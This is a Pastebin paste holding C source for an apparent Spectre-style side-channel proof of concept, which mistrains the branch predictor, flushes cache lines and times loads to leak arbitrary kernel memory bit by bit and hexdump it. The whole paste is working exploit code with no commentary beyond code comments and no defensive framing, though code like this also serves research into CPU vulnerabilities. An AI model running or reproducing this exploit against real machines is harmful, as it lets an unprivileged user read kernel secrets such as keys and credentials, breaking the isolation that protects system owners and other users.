Guest User

Untitled

a guest
Jan 21st, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.25 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #include <fcntl.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <stdint.h>
  6. #include <stdio.h>
  7. #include <sys/mman.h>
  8. #include <err.h>
  9. #include <stdbool.h>
  10. #include <ctype.h>
  11.  
  12. /* memory clobber is not actually true, but serves as a compiler barrier */
  13. #define pipeline_flush() asm volatile("mov $0, %%eax\n\tcpuid" : /*out*/ : /*in*/ : "rax","rbx","rcx","rdx","memory")
  14. #define clflush(addr) asm volatile("clflush (%0)"::"r"(addr):"memory")
  15. #define read_byte(addr) asm volatile("mov (%0), %%r11"::"r"(addr):"r11","memory")
  16. #define rdtscp() ({unsigned int result; asm volatile("rdtscp":"=a"(result)::"rdx","rcx","memory"); result;})
  17.  
  18. int timed_load(void *ptr) {
  19. pipeline_flush();
  20. unsigned int t1 = rdtscp();
  21. pipeline_flush();
  22. read_byte(ptr);
  23. unsigned int t2 = rdtscp();
  24. pipeline_flush();
  25. return t2 - t1;
  26. }
  27.  
  28. /* leak_func_condition is in an otherwise unused page to prevent interference */
  29. unsigned long leak_func_condition_[0x3000];
  30. #define leak_func_condition (leak_func_condition_ + 0x1800)
  31.  
  32. /* Most code isn't optimized to make the compiler's output more predictable,
  33. * but this function should probably be optimized.
  34. */
  35. __attribute__((noclone,noinline,optimize(3))) unsigned char leak_func(uint8_t *timing_leak_array, uint8_t *source_ptr, unsigned int bitmask, unsigned int bitshift) {
  36. pipeline_flush();
  37. /* run the branch if the high-latency load returns zero.
  38. * if the logic was the other way around, Intel's heuristic
  39. * where high-latency loads speculatively return zero (?)
  40. * would probably bite.
  41. */
  42. if (__builtin_expect(*leak_func_condition == 0, 1)) {
  43. return timing_leak_array[((*source_ptr)&bitmask)<<bitshift];
  44. }
  45. return 0;
  46. }
  47.  
  48. /* "leak" from here when conditioning the branch predictor */
  49. uint8_t dummy_array[1];
  50.  
  51. /* timing_leak_array is in an otherwise unused page to prevent interference */
  52. uint8_t timing_leak_array_[10000];
  53. #define timing_leak_array (timing_leak_array_ + 4096)
  54.  
  55. int freshen_fd;
  56.  
  57. /* Leak `*(uint8_t*)byte_addr & (1<<bit_idx)` from the kernel.
  58. * This function makes 16 attempts to leak the data.
  59. * Before each attempt, data is leaked from the `dummy_array`
  60. * in userspace 31 times, then discarded, to convince the
  61. * CPU to go down the wrong path when we try to leak from the
  62. * kernel.
  63. */
  64. int leak_bit(unsigned long byte_addr, int bit_idx) {
  65. uint8_t *secret_arrays[32];
  66. for (int i=0; i<31; i++) {
  67. secret_arrays[i] = dummy_array;
  68. }
  69. secret_arrays[31] = (void*)byte_addr;
  70.  
  71. unsigned int votes_0 = 0;
  72. unsigned int votes_1 = 0;
  73. for (int i=0; i<16*32; i++) {
  74. //int attempt = (i >> 5) & 0xf;
  75. int mislead = i & 0x1f;
  76. uint8_t *cur_secret_array = secret_arrays[mislead];
  77. char discard;
  78. pread(freshen_fd, &discard, 1, 0);
  79. pipeline_flush();
  80. clflush(timing_leak_array);
  81. clflush(timing_leak_array + (1<<10));
  82. *leak_func_condition = (mislead == 31);
  83. pipeline_flush();
  84. clflush(leak_func_condition);
  85. pipeline_flush();
  86. leak_func(timing_leak_array, cur_secret_array, 1<<bit_idx, 10-bit_idx);
  87. uint32_t latency_at_b0 = timed_load(timing_leak_array);
  88. uint32_t latency_at_b1 = timed_load(timing_leak_array + (1<<10));
  89. if (mislead == 31) {
  90. //printf("(%d,%d)\t", latency_at_b0, latency_at_b1);
  91. votes_0 += (latency_at_b0 < latency_at_b1);
  92. votes_1 += (latency_at_b1 < latency_at_b0);
  93. }
  94. }
  95. //printf("\nvotes_0: %d\nvotes_1: %d\n", votes_0, votes_1);
  96. return votes_0 < votes_1;
  97. }
  98.  
  99. uint8_t leak_byte(unsigned long byte_addr) {
  100. uint8_t res = 0;
  101. for (int bit_idx = 0; bit_idx < 8; bit_idx++) {
  102. res |= leak_bit(byte_addr, bit_idx) << bit_idx;
  103. }
  104. return res;
  105. }
  106.  
  107. void hexdump_memory(unsigned long byte_addr_start, unsigned long byte_count) {
  108. if (byte_count % 16)
  109. errx(1, "hexdump_memory called with non-full line");
  110. bool last_was_all_zeroes = false;
  111. for (unsigned long byte_addr = byte_addr_start; byte_addr < byte_addr_start + byte_count;
  112. byte_addr += 16) {
  113. int bytes[16];
  114. bool all_zeroes = true;
  115. for (int i=0; i<16; i++) {
  116. bytes[i] = leak_byte(byte_addr + i);
  117. if (bytes[i] != 0)
  118. all_zeroes = false;
  119. }
  120.  
  121. if (all_zeroes) {
  122. if (!last_was_all_zeroes) {
  123. puts("[ zeroes ]");
  124. }
  125. last_was_all_zeroes = true;
  126. continue;
  127. }
  128. last_was_all_zeroes = false;
  129.  
  130. char line[1000];
  131. char *linep = line;
  132. linep += sprintf(linep, "%016lx ", byte_addr);
  133. for (int i=0; i<16; i++) {
  134. linep += sprintf(linep, "%02hhx ", (unsigned char)bytes[i]);
  135. }
  136. linep += sprintf(linep, " |");
  137. for (int i=0; i<16; i++) {
  138. if (isalnum(bytes[i]) || ispunct(bytes[i]) || bytes[i] == ' ') {
  139. *(linep++) = bytes[i];
  140. } else {
  141. *(linep++) = '.';
  142. }
  143. }
  144. linep += sprintf(linep, "|");
  145. puts(line);
  146. }
  147. }
  148.  
  149. int main(int argc, char **argv) {
  150. if (argc != 3)
  151. errx(1, "invocation: %s <kernel_addr> <length>", argv[0]);
  152. unsigned long start_addr = strtoul(argv[1], NULL, 16);
  153. unsigned long leak_len = strtoul(argv[2], NULL, 0);
  154.  
  155. /* we will read from this fd before every attempt to leak data
  156. * to make the kernel load the core_pattern (and a couple other
  157. * data structures) into the CPU's data cache
  158. */
  159. freshen_fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
  160. if (freshen_fd == -1)
  161. err(1, "open corepat");
  162.  
  163. hexdump_memory(start_addr, leak_len);
  164. }
Add Comment
Please, Sign In to add comment